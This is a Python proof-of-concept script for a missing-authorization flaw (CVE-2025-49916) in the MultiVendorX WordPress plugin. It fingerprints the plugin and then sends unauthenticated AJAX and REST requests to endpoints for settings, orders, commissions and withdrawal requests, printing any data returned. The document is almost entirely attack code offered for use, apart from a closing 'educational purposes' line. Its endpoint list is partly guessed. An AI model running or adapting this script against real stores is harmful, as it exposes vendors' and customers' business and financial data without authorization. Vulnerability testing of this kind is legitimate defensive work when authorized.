# CVE-2025-49916 - MultiVendorX Missing Authorization PoC
# Vulnerability: Broken Access Control in dc-woocommerce-multi-vendor <= 4.2.23
# This PoC demonstrates how an unauthenticated attacker can access
# functionality that should be restricted by ACLs.
import requests
import sys
TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com"
# Step 1: Identify the MultiVendorX plugin
def check_plugin():
"""Check if the target site has MultiVendorX plugin installed"""
endpoints = [
f"{TARGET_URL}/wp-content/plugins/dc-woocommerce-multi-vendor/readme.txt",
f"{TARGET_URL}/wp-content/plugins/dc-woocommerce-multi-vendor/"
]
for endpoint in endpoints:
try:
resp = requests.get(endpoint, timeout=10, verify=False)
if resp.status_code == 200 and ("multi-vendor" in resp.text.lower() or "multivendorx" in resp.text.lower()):
print(f"[+] MultiVendorX plugin detected at: {endpoint}")
return True
except Exception as e:
continue
return False
# Step 2: Exploit missing authorization on admin endpoints
def exploit_missing_auth():
"""
Exploit the missing authorization vulnerability.
The plugin fails to verify user capabilities on certain AJAX/REST endpoints,
allowing unauthenticated access to privileged functionality.
"""
# Common vulnerable endpoints in dc-woocommerce-multi-vendor plugin
vulnerable_endpoints = [
# Admin AJAX actions that may lack proper nonce/capability checks
f"{TARGET_URL}/wp-admin/admin-ajax.php",
# REST API endpoints
f"{TARGET_URL}/wp-json/wc/v2/",
f"{TARGET_URL}/wp-json/dc-product-vendor/v1/",
# Vendor dashboard endpoints
f"{TARGET_URL}/vendor-dashboard/",
f"{TARGET_URL}/my-account/vendor/",
]
# Test admin-ajax.php with various actions that may be unprotected
ajax_actions = [
"wcmp_get_vendor_dashboard",
"wcmp_vendor_product_list",
"wcmp_settings",
"wcmp_save_settings",
"wcmp_get_orders",
"wcmp_withdrawal_request",
"wcmp_transaction_details",
"wcmp_vendor_announcements",
"wcmp_coupon_list",
"wcmp_shipping_zone"
]
print("[*] Testing for missing authorization on MultiVendorX endpoints...")
for action in ajax_actions:
try:
# Attempt unauthenticated access to privileged functionality
resp = requests.post(
f"{TARGET_URL}/wp-admin/admin-ajax.php",
data={"action": action},
timeout=10,
verify=False
)
if resp.status_code == 200 and resp.text and "0" not in resp.text[:5]:
print(f"[+] Potential vulnerability found with action: {action}")
print(f" Response: {resp.text[:200]}")
except Exception as e:
pass
# Test REST API endpoints
rest_endpoints = [
"/wp-json/dc-product-vendor/v1/vendor-settings",
"/wp-json/dc-product-vendor/v1/vendors",
"/wp-json/dc-product-vendor/v1/commissions",
"/wp-json/dc-product-vendor/v1/withdraw-requests",
]
for endpoint in rest_endpoints:
try:
resp = requests.get(f"{TARGET_URL}{endpoint}", timeout=10, verify=False)
if resp.status_code == 200:
print(f"[+] Accessible REST endpoint: {endpoint}")
print(f" Response: {resp.text[:200]}")
except Exception as e:
pass
if __name__ == "__main__":
print(f"[*] CVE-2025-49916 PoC - MultiVendorX Missing Authorization")
print(f"[*] Target: {TARGET_URL}")
print("-" * 60)
if check_plugin():
exploit_missing_auth()
else:
print("[-] MultiVendorX plugin not detected on target")
print("[*] Proceeding with exploitation attempt anyway...")
exploit_missing_auth()
print("\n[*] PoC execution completed")
print("[*] Note: This PoC is for educational and authorized testing purposes only")